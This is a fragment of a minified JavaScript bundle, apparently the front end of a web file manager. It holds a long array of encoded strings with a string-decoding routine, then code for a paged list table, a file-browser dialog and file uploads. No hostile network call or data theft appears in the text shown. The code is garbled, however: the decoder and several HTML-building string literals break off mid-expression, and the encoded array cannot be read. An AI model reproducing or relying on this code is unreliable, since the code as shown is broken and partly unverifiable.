8CpG3cJJ/dUmkDW7dcQe/dScRdIL/dNG==","u8kxvZddLq==","W5DNW5pdV8kMrGv5WPBdRmkIhSkHWP3dVCoPBCo8","sNJdN3tcKq==","AcpcIvCXW4NcMsu+WPDsWOi0","W55IW43dVSknbXv+WPpdUW==","W7RcOCkevsq=","WQVcSLtdM1q=","W4/cM8o1WPxdPG==","W5jAW7xdHmkK","W4ddTSkQp8oeWQfd","jCklxLe+","aCotW7yzW69Mf8kfe0W=","W6NdLmk+W7BcHa==","ymoLW4KMgG==","aCkEweivW6D3","W58jAWlcVa==","b8karv8=","W5JcHHaHwq==","W4RcP8o2WPNdTq==","m07cISodWP4=","feiPWR9SWOKfoXxcPCk9WRnSW7pdI2BcHSobWPrOW7VdK3Gp","W5mlEmoVW64=","W4tcHSoTWRVdMCoA","WPjDah8=","W6tcTSoDEcuKWRpdOCkFeW==","W5ZdLCkBW77cHSkDysLaW50YA8otW6yjW5iVbfu=","W64ayCoRW63cSG==","W5hcQ2/cQ1u=","WRJcRmoNWQzJW6rjAmkynSkbW7y=","BsVdUKuS","WR8JhwSdWQBdUvtdKWRdLv8=","WPhdJSo4W4ny","pmoMWPK=","W7WDF8o2W6BdSmkTWOWrWPrmW4NcRSk3p0LMFmoQ","esbZW7lcJa==","sfNdHN/cVtiqkqSAW5b3","vtxcT3L1kmorW6SHFCkLWOVdGa==","WPzhxMZcOW==","orDKW5lcIq==","WOldKmo2m8omW6OjW4pcJba=","W77dLYaJzq==","W4JcL8otWOtdOG==","W6tcT8oFvZW=","W5DNW5pdV8kMrHfJWPJdQ8k3hSkHWOBdRSoP","fCoxW7q=","uc7cOL1L","DmkHWRCht2/dU13cPYFcVa==","W7ddHaG/W5C=","W68DW5vuaSkPb8k2iKqMW5fXsCkgWOzOyrjrAG==","W5zCeSowWO9uhCkkCa==","mmoAWOldPmom","WRnBA2tcHMpdJ8k0W4tcJCopWOfWzCoNomkRb8kNEvGKWOOrjG==","W7VcPc8owq==","W7FcS8oEDsqe","WQzgDMG=","rWZdIKKl","vHVcU8krW5e/eCocWQ7dTIJcT8oGW43cGK8WW4tcK8oH","WPrXdxrS","W47cGtKMrItdT8k/","W6FdUsmJxW==","yXVcVSkHW5GPcmoMWQBdTJ7cH8ocW6VcHKShW4BcKSoHWPe5W5nqaSk9W6i=","W5FdLSkhW57cSG==","WPldJmo/o8ok","W65rW73dO8k5","z8oDWOGaFa==","CSk7W53dO0/dPvG=","lCoIWOhdLSoR","p38XWPHZ","uCoUWR8dxJhdNfVcSbO=","W74nn0rCW7ZcNbJcMW==","mSoRWOhdLSo7","mCkltuGs","g8k/qeek","W6SZFsBcKG==","WQSIWRVcNNa=","W4tcHSoPWRldMmomh3aWWROwWRqWW63cV8k6rh/dN8koWQn0qIpdQq==","W5ZdVs8bpSo4wf3cTSorb8oZWQzWWQu=","k8oVWPJdHmoNW7/cNNdcHmkC","WPlcKKRdLNC=","W43cIwrTWRa=","hCkBxfSvW7TW","rCkTW6tdGva=","b0m0WRPJW4un","pCkdzLG3","W77dJCkQpCo7","WOpcMSoLWObB","WQlcR8ocCYK=","W7OlFCoQW7JcJmk0WOOrWP5h","W7JcS0VcL1D3Dfq=","WOCZWP/cKKddIHJcPf3cVXzP","v8kbW5RdHvq=","vui1suu=","WQ3dHmoLW4H5WPRcUI4vlG==","WPpcJty3W7tcI8oBW6hcPdJcKSoLWOy=","W6CGW7jwoW==","W5/dGCkvtmoA","qqxcHLGc","yCofWO8SsG==","zt7cMf8MW4NcNs0/","rKqYsuhcSCkgWQ8XWPOVW4FdPq==","kSoOWQVdMCob","veSPDgi=","WR/cHdKBW7O=","WRxdL8olhCoB","xupdNxZcMH8mjrmkW5nM","q2/dHLNcVG==","W5xdKSkOqCo0","j8otbSoRnmo7W7NdQmoY","xb3dNeCO","WPaZdNue","W53cIJGQBw/dRCkJWPlcP8kpW4lcQXZcPq==","c8oZW64ugZ3cPe7dTbldICkZvW7cNbldHtKyrgRdKNyYmW==","xCkKBINdQmo9kSo6m8onD8ohfZ8Fuey=","WQRcOCoXWQP/W7PbBSkApa==","W7ZdMmkAW7NcJW==","W67cHaqTtG==","A8kHW4/dN0NdPfG=","W7tcICkasGJdIsm=","vJ/cP8kVWOu=","lSo0WRRdKCon","WQdcOCoHWObN","W7ZcS0JcTM8=","W64IFtRcGW==","WPBcNJOYW5lcSCoFW7/cHIpcN8oV","aCoitWTgj8oUAW0K","omk3xSoKya==","Bfyuzga=","bKu2WR9YW5i=","W4/cKCoTWRFdLmoBkgDYWRWoWRu=","feiPWR9SWOKBnHNcTCk9W64XW6xdKwdcHmoh","d3VcOCoAWP/dVq==","sXJdIKKG","W5bkemokWPe3gSkwCa3cJmoBcZZcGZddOa==","WQhdKCo4W49YWOZcTs8pnLi=","xrxcHSk+W4S=","WOJcV3D4WOu=","W7BcHCoBFJe=","e8oGh8ofiG==","WQb7D07cMSksWQHqrmkWuSkfBSoyW6aGWOm3cgul","WOlcPfr/WR0=","WPvZxeRcSW==","WOVcH8oYvqO=","W5ZdHmkcW7/cQCowza==","ySoyW4mhnxhcMYVdUmkhW5C=","W5BcUeFcKLa=","pCkfDCoFr8oRW6BdVLSMAgjM","E8kPW6JdTxm=","ssqkoSkU","W6aNDrNcHq==","BdVcSCkmWRe=","mqjrW73cK10FBXVdUsywW47cTa==","WONcH2XJWOG=","WPyqlLub","W4ZdMSkWW63cPW==","W7iNW5n2nW==","eeesWPbB","tmk/W5NdTNy=","W4FdQSkaeCoW","W6FdOJqXyW==","xCkIzqldVW==","pSkaE8oDxmk0W5pdQuCNDZ9WWQrJW5FdMdy=","rIiLmSkp","F8oyW7i7iW==","W7FcT8oaFsOkWRK=","WQ3dHmoLW4H5WPRcTYmcDLVcHCkzrXqAo8k7WOBcU8oYW6bgAuNcHbFdKmkAyfvjW5vwi3BdNCkcv15XW4hcQ8oOW4xcRvy9W6FcNhlcUCo7WOinESoRW45YW5viW6RcG8oLvmocldJdQW9Sg2/cVSoPfg5sFhVdV8oEW7NdKSojWOjma8kgWRqLwmofWRyNWPpcPW==","FHVdSvucexRdHCkrW5FdImoK","W4/dPmkAW6xcOa==","WR1OuN3cUW==","WPC9WPdcNhtdNI7dRulcVWXPWODaE8olz8oQW6BcJhxdRetcQK3cQZL3vYxdJIVcMSoDW6hdPq==","WQNcPmo/WQHKWQv5ySkcjmkbW78dWPZdQ8oPWQbpW40rhKO=","mmkuySoDxCo1W4C=","W67dJmk6mCoG","WRLwqKdcIq==","WQ/cNePIWRG=","rtZcG0CO","W6tcSmowuZi=","WQRcPCoEuWm=","WQb7D07cMSksWRPrx8kTz8kdEmkCWQ4HWOK=","WR1lBuBcNW==","DKNdK3pcGq==","zHJdSWrl","AqdcLLldKa==","oSowWOxdISod","o8kbDCoBvSo+","WRTrB3NcQY3dNmkWW5tcQmopWOe7","WO0xohmo","yvOWy2K=","DYugmmkOW5q2WONcI0DSqmkRWR8kWRBdHYS=","WQTWEglcKmouWR0=","WQZcO1pdS1BdQ8kH","FCosW4C+hq==","W4ddUsq0Fa==","WO4OWPtcKvm=","W5ddTI07W70=","WQSGW7nL","qbpcOmkZW5e=","iCo6DdP7","W5dcLmoDWQFdOW==","AemhweC=","otnQW7NcLG==","W6xdQ8k3d8o6","W7hcQ8oaDa==","W5bkemokWPe3gmkwy0VcImoBua==","WQZcPCoXWQ5UW68=","kb7cPxi=","ra3cQSkMWPiSfCocWRFcRttcHCoTW7dcJeyn","W5mjvCo4W40=","W7vhW6BdUSkU","e8ohW7qtW7HOcSkinKjYWOW=","u8ohW4yIba==","WRP4q0BcIq==","CHZcNCkUW6C=","W7BcRZbPW4aIWPBcHmkEWQHiimknmCk0W5hcS8oQE8kQzebFW6dcTq==","W4GwvZZcNG==","W7hcQ2zPWRq=","uXFcOCkW","gLyWWR9TW4GB","BrZdTg4y","W7ySzsBcHuldLSoNFu8=","W65lhmoaWPC=","WRuRguK6","WRddK8oNbCoN","WPC3WPdcLLtdNHRcRuxcTWLI","BYdcJSkmWOm=","tHNcI2/dLW==","gmkpqf4F","W4FcGhtcILC=","W5lcGseQycxdKSkIWOdcOq==","WRvPux7cTG==","seJdN3NcH3WqnIGbW4jKaCoNobLU","u8kRW5ZdPKxdPfJcHrnvWQ8hhq==","BcpcG0m1W77cUsq0WOXs","AsxcMgJdTG==","fmkjAu0P","W6xdSICVW5O=","wCkbvYldHa==","sqJdT0ivdG==","W5zkkmoQWP4=","rddcMgal","k8osbSoGp8kMW5RdRCo1W6f6CW7dQqRcOSklWOrFW64=","W5r1W63dRmk7","wNVdMx/cKW==","xCkKBINdQmo9omoQm8ormCoBfx0dq1C=","WQe/WOxcRM8=","WOtcPeTxWRa=","uYlcTx0=","lSotcmoMnCoS","W7ODr8owW6K=","pftcI8oXWOi=","zdhcPwr1cCoaW4yMFCkPWPBdTtdcJCk4WRhdKq1+WRzynSkDWQJcRmo0","EbdcRMtdHa==","saBcK2ZdU0NcQL8=","imocmCoVma==","WRhcG3HFWRi=","WOVcUmo5zrC=","WRW3cM8IWRFdIvddRXNdKG==","WQtcTLm=","WOZdPmoNW6zi","Fc4jcSkPWOKU","ttlcLCkuWOW=","W47cGtKMuc/dRmk/","FWZcPCkKW5S=","i2tcJSoUWR4=","W60sFsxcLG==","W6JcJmkeuWJdLsq=","W5xdOmkUmConW6TcW4JdHqXiW63cUMRdI8oKWPpcNmk2gY5voSoM","WOTlCeNcSW==","W63dGWK1W7Ptl8oTW7WzW45R","WRRcM2TcWRq=","EmomWQtdPW==","WOL1WOm=","WOBcGSo6tZu=","WONdNCoGe8ot","WPFcR8oHwra=","W6KlW5DihmokcCk3or0XWOX/wmks","W6VdR8k3mCooWQe=","qXhcO8kXW7eZd8ot","W7WDF8o2W6BdSmkIWO0eWPfwW5/dQmkHFLXLCSoJtW==","ubRcOSk9W5n1hCosWRtdRq/cLmoQW7ldJfSrW5FcIG==","WPyRWO/cJvddLW==","W7BdVmkpW7tcMG==","4Oc64OgY4Ooc77IR4Ok277QL4Og34OkS4Ool4Oko4Ogw4Oo+4Oks4Okv4OoO4OcJ4Og177MA77Ib4Okp4OoE4Ogq4OkY77Uk4Og977IN4Ok04Ogi4OcC4Ooc4Ok84Ogn4Oo74Oor4Ooz4OgC4OcX4Oo877UL4Oko4Ogt77UA4OcH77UK4Ok677Q64Okm4OkN4Okf77I677Md4OcW4OcI77QD4OcB4OkB4Ogw77QY77I84Oc/4Ocj4Ogs4Ooc4OoP4OkS4OgA4Ooa4Oka4Ooi4Okz4Oo84Ogo4OkC4OcQ4Ogi4Og+4OkC4Oo377It77M+4Ooq77Qd4Oce4OcD4OgO77Ua4Oo+4OgG4OgL4Ogt4OgE4Oo/4Okm4Ok14OcB4OoB4Ok177ML4OkV4Ok04OkQ4Oo64Ok/4Ogz4OcT77U777Mp4Ocw4Oc+77UO4Oki4OgL4Oog77QS4Oke77Iv4Okl77QL77ML4OgE4OoU77Io4OcX4Ogj4Og577M54OgM4OcE4Ooa77Ij4Ok84Ogn4OcQ77Up4OkA4Ocg4Oku77Ml4Ocs4Oox4Oke4OgJ4Okg4OkV4Oke77U24Ogy4OkY4Okx77U84Oct77Mm4Ok277Q94OgX4Oc54Oo777Is4OgF4OcU4Oo/77Qz4OkM4OoU4OcL77MY4OgN4Ooz4Oku4OgK4Og64OoB4OgD4OkH4OoU4Ok/4OcO77Ul4OcB4OoA4Ocl77Q24Oob4OcN4OgO4Ocq4Ooj4Oku4Ocv77Qu4OkS4Oom4OoH77M84OcP4OoI4Oo177Qh4OcS4Og64Oor77QS4OkE4OgX4Oo+77Ut77UX4OgJ4OkU77U+4Oo477QB4OkF77Ut4OcH4Ooy4OkQ4OgE4Okb77Qz4OgX4OoT4Oky4Oky4OgJ77I24OkE77Ql4OoD77M477M577If4Occ4Ocv4OcG4OoU4OcC4OkP4OoQ4OkI4Okp4Oo64OcV77Ii4OcD4OgX4Okx4Oo04OcU77UI4Oc14OgO4Ooe77MX77UE4Ogm4OoP4OgS4Oce4OgJ4OgM77Qe77IP4Ooy4Og677QA4OoX77Qv4Oo477Qb4OoN4Ogv4OgM77Iy4OgA4Ooy4Oc44OoQ4Oge4OoS4Oov4Ocb77Iy4OkR4Ogy77IK4OoZ4OoS4OgE4Oo14Oov4OkW4Okl77QM77Q44Og/4OoB4Ooz4Okb4OoX4OcR77Is77Ub4Ocd4OcH77Qp4OgC4Okt4OoQ77Ix4OoI4Og14Oo/77Mn4Oog4OkL4OgQ4OoZ4Ok64Ocv4Oox77U977UH4OoF4Og+4Ocg77QK4OkK","W6VcRKVcJLr6F1C=","WOhdM8oRW413","W5avW4bzkW==","WOBcLN/dTgm=","ogJcTmoyWORdRCoT","zmksqdxdTW==","hmovWP3dGCou","tXFcHgRcSwlcR03cSM3cRmoAwKNdKq==","Bq7dOKKpgvZdRSkuW57dJq==","zWVcS8kWWPy=","CK0qtKq=","WQBcNCo5vq==","pSkaE8oDxmk0W5RdTfW7zhuSWQjNW47dGJnt","vSo2WQ8gqa==","d8kkquiuWQzUEgRdQMJdKui=","WQ47dxqtWRS=","avqTWRfLW4mA","W6tcJCoAWOVdGW==","pNVcJ8oTWQK=","qCoGWRanEstdVv3cTqS=","xuNdIMtdHJKcncyaW4bXdCk4kW==","vr3cIhFdVw3cI1/cUMO=","gvWNWRjX","WRu1WR3cJea=","umktvahdSG==","WRJcTSk9z03cJxyQWP0=","W6xdKau7","WOdcVCoivsO=","gSozuaP2","WQhdHCoLW4nYW4FcLZismHNcK8kBvWu=","W5BdI8kEW7/cJG==","W5hdI8kvW7pcMW==","qCozW4GHiW==","WPlcHCoGWRvP","WO/dKSoeWQlcVmo/Ba1AWOOVBSokW6zcW5uiwfJdHSoxu3aNW57dTIZdPKZdPbddSmkuW6DGWQvMW5f6W7hdHCk8AupcMMCXqSobW77cLCkGWQxdPCkIW7ygWPVcO8orW4zagSkDWOJdP2VcSvpcRf7dUSkTWQ7cG8kBxCkdpJFdOIrTE8k0W6pdGt8DWRJdTCkNm8k0CConisZdNW==","W5bkemokWPe3bmkvCqpcHSoqcY7cNdldMgDEWPW=","WQ5VBK7cM8otWRO=","W4COW5TGgq==","vI/cH8kaW68=","WP02WPJcR1y=","hmkurmo1yG==","qCoGWQKCtJpcVLpcPrRcNCoXsG==","w0hdI3JcRq==","WQFdLSoaf8oi","k3JcSmoCWQJdVmoXFxW=","cmoFW6mQW6e=","W7VdRCkYnmom","W5xdOmkUmConW6TqW5JdHrD1W6lcRI7cH8o6WOpcKW==","oSkCySorxmo/","WR1pCMtcHYldJa==","CsFcJSkWWQDVCuVcNG==","W7buhSoeWPq=","W64CzSolW6hcSSkMWOWqWOK=","jCoHW4yjW4y=","W5ddPmkxxmoq","xSokWQSeuW==","WQJcSNfuWPW=","W4vZW5ldV8k8","WRW3cM8IWRFdIvddVaJdMbtdK8oBcSkCW7D5W7ldLSoCWO8AWPSTW4ldNCoWymolWQGVD8o/p8oitZyVW5dcLhxcSSomWOFcNmk0WRmQWPddUSoIWPv5fgFcJ8orwr3dGSk0iqywWPNcUG==","vaBcU8kXW5m+","sKuYqKRdRmk/WRC6W4eTW4VdHLv6FSoQ","WPHOD1/cHa==","W77dKCkksmoc","E8oFW4a5ovhcMW==","W5RdN8kuW5/cOq==","WRe5WQtcTLa=","uSoRWRebrw7dOf7cTGNcKCoTbeJcHvddUMDhxJddIq==","W5VdMmkAW7lcVCocBdnvW5y=","W5xdSCk3mmoIWQbvWOhdKa1vW6VcMchdGCo8W5RcNmkXlcDKn8oUmdBcLCkSs8oWgqBcKY/cOZW=","zshcJSk3WRjMFfhcNG==","FWhcMf5+","nrv9W5JcLq==","gSobxrfNf8o9AayGWOG=","qmokW7iGjq==","og/cRSoDWOe=","th/cMuuGW57dSJWOWP9fWQue","W6hdKXa4W4Tad8oYW44cW4LS","W4RcQmotvtK=","v8oHW7SrjG==","rdVcUhrrhSoq","yHhdPKucgfRdQmkCW5ddHCoZ","W5JdR1hcKujepKxcHt0yW5FdQG==","WQWIWRJcR3q=","gmoaWOhdUSo2","yuCUz1y=","W7ZcNmka","fmkbzmooDG==","W5RcIvDjWQC=","xJZcO1GU","W7aDjW==","q0u8t0VdUW==","d8kTE8oKEW==","WR5fDeVcOW==","AmkttXxdOG==","Fc4jc8kJWPy1WPdcIq==","BdSAa8kw","xCkKBINdQmo9kCoZmSoED8ohx3KcrKBcUhaV","WPRcQNDnWQi=","W7NdOSkBzSoL","smkAW4pdPvK=","jq1lW6xcTa==","WRqxkg0D","vZdcUxH+vCozW6iTA8kPWPBcGspcJmk/WO/dGa5UWOi=","gfzI","W63cLmoTWO3dLq==","WOa8WP/cLLhdNW==","qXVcV8k4W5W5gq==","W67cLSk4wZa=","aSoEvWfB","WPFcIse=","WONcQ13dGfi=","vfi8","W6iEW4L3jW==","WRbmah5XWPtdOW==","dhtcRmoBWOK=","W4xdVtOxDmoGAK7cTSoqb8oP","xKiCEw4=","BuhdI0FcSW==","WRj8Ae7cHmoj","WPjnbgjS","rJdcQmkqWRi=","WRdcV3DYWPH8WQNdLCkdW7ntCSoDCCkKWPdcQmkWACoaFrXmWQFdOCoKW7uNks9FWQz+DfxdPhtdJW==","WQSBmuuF","ycKadmka","ymkQW4ddUK7cUe3cSGjCWPqucYzVgCkNuW==","omogtaPg","jqLWW6ZcQG==","W6/cI8kDraddGIi=","rwOTB0K=","W5VcIYe=","W53dOdSJCW==","cSkgAuKG","W4NdJSkIEmoMWQFdPcxdM8odWPXwW5JcHNbPh8odz3qKWOlcNq==","k2NcQCoDWOxcOCo6yMtcPvhcQx9hWO8=","vYGhn8kH","BrRdV0upuNldO8kqW5ddJmoKWOFcVmk9qW==","W4vxj8oTWRy=","W5BcRsekva==","W5VdGSkUy8oTW5RdSJZdM8ohWPGDW47dGxr/e8oK","kNNdGSkTW7OAlX7dIq==","zSkRW5K=","WRv+iefn","WRGXp0WE","oKCWWObm","WRnNDNVcQW==","s0uXr1VdTG==","qmo/WRabxW==","WRJcRmoNWQzJW6rnySkce8khW78cW5RdOq==","WRRcR8oNWRvVW7GKzSkqjmknW6mf","W5xdOmkUmConW6TCW4JdNbPeW7hdSJFdJCoLWPNcI8kHhZ1zj8oZ","W4pdRZWxsa==","W5RcNhz/WRy=","q8oaW4uhga==","pmoIwIHL","mSkbE8owv8oPW6BdVKu9CxveWQjTW5BdNq==","WQb7D07cMSksWQ5xx8kQDSolEmoxWQyX","W4JdHSkHW6xcQW==","a8kkgq==","WPRcIYqwW4S=","W5ldGCkcW77cH8oCCW==","yCoCW5CsouZcRcldRCkCW4pcRa==","WRWMe2KyW7NdILFdIaVdLvBcNCojg8khW6b3W6/dM8oWWOW=","EXdcR8k1WRC=","WQNcHLr4WPO=","l18XWO5r","BJZcHND9","AddcJ14GW77cUtGUWP9eWPGdWRxcGtFdLG==","kCoMkSoBmW==","WO59gvTq","kmkeF24m","acL0W63cVW==","WQRcU0VdR0W=","CmouW48CpG3cNsxdOmkxWOVcRfJdSNe=","WR9uyKhcRW==","jM/cTmo5WQq=","W7FcVCofzs4BW7ldPmkCc8kSWR3cHq==","omkwECobqSoiW5VdQvW=","W7tdJmkiq8oX","WOqNWOJcKwBdLtJcTq==","gCofsqrRlmoeAHO1WO3cOmkE","mqjrW73cK10DBaldU2azWOxcPCoaWOeNWOZdQSkei8o5","xqJcILldQW==","yZhcGSkSWPS=","j8oZW6KQW7O=","W43dVSk8W5/cUa==","W6ZdSmkEW7JcQW==","trtcHhaW","pqnrW7BcMaaHAqtdQcuAW4/cVComWQ07WRJdU8kry8o4fSkpW5WBWRPWW6NcUCoQWPNcNa==","AJxcGv8RWOpcRZ00WOHwWOSLW7BcLY/dL1ZcRW0FWP9Jcg7cMMpcOdnal8kq","W4ddVtyr","mqjrW73cK10pyrtdT3WhWOxcO8oAWQK7WOS=","W5VdGSkUy8oTW5RdPJRdM8oaWOLvW5JcMxHVgCo4vgC/WOlcNG==","sHFcO1a0","W67cIfT5WPtcQCoJg2dcJ8kCW48=","WRdcI1hdGe0=","WRRcPCoIWQ1RW6LV","W5fqW7BdHSkA","W4FdOCk3","BHVcRSk3W5u=","WQ5uigfN","WQhcTM1tWOy=","WQhcT298WP89WOVdK8kdW7fnzmkyCSoNWORcV8kTBSo9DG==","WQNcSmoIWQrKW65jB8kFpmkm","WO8MWQBcN1q=","W7uiycdcNG==","W5TOW5RdMSkp","wSkYBc3dHCk6omoTbmowESom","W4xdVgi=","WQ3cLNv5WOK=","ASozWQGKwa==","ubRcOSk9W5n1g8ovWQ/dTYVdMSo+W7ZcLW==","zNaVDKu=","W6aoW4Ljn8kldCkQmG0=","W5xdLq0KW7e=","tuNdKx/cJty=","W63cKCkFDIe=","W4vXW50=","W6tcImo8WRddG8on","WQ5weL9R","wmkMuYNdJG==","WQ8JegqzWRS=","W7WxC8oZW7hcRmkQWPaQWO1BW4xdRSk8","CsRcKSk2WQDo","ox3cQmoDWP8=","W5Llhmoh","yshcHmkJWRzgxvtcJ8kGD8kbWOu=","t17dNx3cQJScmaqCW4DM","lCoth8okpSoNW57dPCoX","W5mXssRcJa==","W5m1wGVcQq==","uSo6WQGhFYddO1NcGGRcNa==","rLuRsgpdT8kFWRq=","k8oucmoNca==","AZ3cImk2WOfcE1dcJ8kpE8kbWPu=","m8oIWP7dOSoJ","ydlcGSkPWRDts0ZcI8k/zG==","W63dImkMW5pcUG==","WPVcHresW7a=","W5ZdN8kxW7VcKCobAs9GW4adzmoe","sbhcNSkLW4O=","W49SW6/dP8k/","wSk6DqZdSW==","WQBcSSoCDcWlW6JdNGNcVr7cRCk2W5XLWOL4","WQ/cPCoMWOrMW69NySkyjmkBW5mDW6FdP8oVWODcW7qr","W63dOCk/W7VcIG==","t8kWBYNdSG==","WOBcQw1wWRC=","AZ3cGSkUWRDhFuS=","W77cTfdcIMjsEuq=","W5NdILTTWPJcTCkFc37cHCkyW6pcTa==","zYVcNNao","uZCon8kYWOG=","WRqShwWdWRldN0G=","mCobBGvV"];a=s,function(e){for(;--e;)a["push"](a["shift"]())}(107);var p,i={},r=(i[(p=function p(e,t){var h,i=s[e=+e],n=(p["GtODOg"]===undefined&&(h=function h(e){for(var t,i,n=String(e)["replace"](/=+$/,""),o="",a=0,s=0;i=n["charAt"](s++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="["indexOf"](i);return o},p["DMOEjP"]=function u(e,t){for(var i,n=[],o=0,a="",s="",r=0,c=(e=h(e))["length"];r',r+=''),t+='
'+n.title+r+"
",i[n.field+"_@_"+e]=n}var c='
'+t+"
";this.columns=i,this.target.find(".content .list-table").html(c)},"refresh":function(){arguments[0]&&(this.config.data=arguments[0]),this.pageing.currentPathPage=arguments[1]||1;var i=this;this.request(function(e,t){i.trigger("list.after",i.currentPath,t),i.dataList(e)})},"request":function(i){var e={"page":this.pageing.currentPathPage,"pageNum":this.pageing.pageNum},t=this.config.order,n=(t&&(e.sortField=isNaN(parseInt(t[0]))?t[0]:this.config.items[t[0]].field,e.sortType=t[1]),this.target.find(".toolbar .search-box").length&&(e.words=this.searchValue),this),o=Tips.loadingMask();Object.assign(e,this.config.data),this.config.request(e,function(e){o.close();var t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(t){if(this.target){var e,i="",r=(t!=undefined&&Object.keys(t).length||(i+='
'+LNG["explorer.noData"]+"
"),function r(e,t,i){var n,o={},a=(_.get(e,"attr.formatter")&&(o=e.attr.formatter(i)),$.objClone(e)),s=(a.attr=a.attr||{},a.attr=$.extend({},a.attr,o),_.unset(a.attr,"formatter"),[]);for(n in a.attr["class"]="list-"+t+(a.attr["class"]?" "+a.attr["class"]:""),a.attr)s.push(n+'="'+a.attr[n]+'"');return s.join(" ")}),n=this.columns;for(e in t=_.filter(t)){var o,a="",s=t[e];for(o in n){var c=o.split("_@_")[0],l=s[c],d=n[o];_.isFunction(n[o].formatter)&&(l=n[o].formatter(l,e,t)),a+="
'+l+"
"}i+="
"+a+"
"}var h=this.target.find(".content .list-table");h.children(":not(.title)").remove(),h.append(i),h.find(".list-row:not(.title)").each(function(e){$(this).addClass("row-content"),$(this).data("rowItem",t[e])}),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())?this.target.find(".toolbar").hide():this.target.find(".toolbar").show(),this.target.find(".table-empty-info").length?this.target.find(".footerbar .list-page").hide():this.target.find(".footerbar .list-page").show()}},"getRowData":function(e){return!(!e||!e.hasClass("row-content"))&&e.data("rowItem")},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.ExplorerDialog=ExplorerMain.extend({"el":"","viewType":"explorerDialog","init":function(e){this.initParam=e,this.explorerRoot=e.explorerRoot,this.initDialog(e),this.initCommon(e),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"","{source:home}"==this.pathOpen&&(this.pathOpen=""),this.bindNotifyExplorer()},"initDialog":function(e){var t=this,i=a(29),i=this.renderHtml(i,{},!1),n=this.dialogPosition(),o=UUID(),n={"padding":0,"fixed":!0,"width":n.width,"height":n.height,"resize":!0,"ico":"","title":"file","content":i,"ok":!1,"close":function(){t.objectRemove(t)},"resizeCallback":function(){t.trigger("viewResize"),t.trigger("file.continer.resize")}};(n=$.extend(!0,n,e)).className=o+" explorer-dialog-open "+e.className,this.dialog=$.dialog(n),this.$el=$("."+o+" .aui-content"),this.dialog.$main.find(".aui-mask").remove(),this.dialog.zIndex();i=15*($(".explorer-dialog-open").length-1);this.dialog.$main.css({"left":"+="+i+"px","top":"+="+i+"px"}),this.bindResize(),$("body").attr("kod-lang",G.lang||"")},"bindNotifyExplorer":function(){var t=this,i=(this.initParam.initCallback&&this._delay(function(){this.initParam.initCallback.apply(this.pathAction)},10),this.initParam.openPathCallback&&this.listenToOnce(this.path,{"list.after":function(){this.initParam.openPathCallback.apply(this.pathAction)}}),this.listenTo(this.path,{"list.after":function(e,t,i){t=this.pathData.pathAddress(t);this.dialog.title(t.icon+t.name)}}),this.dialog.$main);i.bind("mousedown",function(e){1!=e.which||$.targetParent(e,".aui-main")||$(document).one("mouseup",function(e){$.isEdit()||i.hasClass("dialog-min-size")||t.focus()})}),this.pathFile&&this.pathAction.openFatherSelect(this.pathFile,!1)},"listenTree":function(){this.listenTo(this.tree,{"initAfter":function(){var e=this.pathOpen||this.history.historyPath()||G.user.myhome;this.path.initPath(e)},"nodeSelect":function(e){this.root.doAction("open",e.$node)}})},"bindResize":function(){var t=this.dialog.$main,i=function i(){var e=t.width()<600;t[e?"addClass":"removeClass"]("app-wap-small")};i=_.debounce(_.bind(i,this),50),this.bind("viewResize",i),i()},"dialogPosition":function(){return{"width":"80%","height":"75%"}}})},,function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=i(30),n=(i=i)&&i.__esModule?i:{"default":i};t["default"]=ClassBase.extend({"init":function(){},"fileSave":function(e,t,i,n){this.upload(e,"",i,{"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileSave":"1","fileInfo":"1"},"tipsID":n||"","tipsLoading":LNG["explorer.saving"],"tipsError":LNG["explorer.saveError"],"tipsSuccess":LNG["explorer.saveSuccess"],"uploadTo":t})},"upload":function(e,t,i,n){!t&&e instanceof window.File&&(t=e.name);var o={"uploadApi":API_URL("explorer/attachment/upload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)};$.extend(!0,o,n||{}),this.uploadParse(e,o,i,t)},"uploadFile":function(e,t,i){var n={"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)};$.extend(!0,n,t||{}),this.uploadParse(e,n,i)},"uploadParse":function(o,a,e,t){var s,i=new n["default"]({"parent":this,"paramData":a}),r=function r(){i.uploadContent(o,t)};return this.uploadViewEvent(i,e),$.browserIS.mobile&&a.postParam?_.isString(o)?(e=new Blob([o],{"type":"text/plain"}),a.postParam.base64Upload="1",a.postParam.base64str=base64Encode(o),a.postParam.size=e.size,r()):o instanceof window.Blob?((s=new FileReader).readAsDataURL(o),s.onload=function(e){var t=s.result,i="base64,",n=t.indexOf(i);0<=n&&(t=t.substr(n+i.length)),a.postParam.base64Upload="1",a.postParam.base64str=t,a.postParam.size=o.size,r()}):r():r()},"uploadViewEvent":function(c,t){var e=this,i=[],n=!1,l=c.paramData.tipsLoading||LNG["explorer.uploading"],o=c.paramData.tipsError||LNG["explorer.upload.error"],a=c.paramData.tipsSuccess||LNG["explorer.upload.success"],s="uploadView"+UUID(),d=!(this[s]=c).paramData.single,h=Tips.notify({"id":c.paramData.tipsID||"","title":l,"delayClose":1500,"icon":" ri-upload-fill-2","process":{"process":0},"onClose":function(){c.objectRemove(),delete e[s]}}),r=function r(){var e;d&&(e=c.uploader.getStatus(),e=a+" "+e.success+"/"+e.total,h.icon("success").title(e).processHide().close()),t&&t(i)};this.listenTo(c,{"itemUploadProcess":function(e,t){var i=pathTools.fileSize,n=c.uploader.transfer||{},o=n.needTime?"; "+LNG["explorer.upload.needTime"]+" "+n.needTime:"",o=n.speed+o,a=(100*n.percent).toFixed(1)+"%",i=i(n.sizeTotal*n.percent)+"/"+i(n.sizeTotal),s="",r=(d&&(s=" 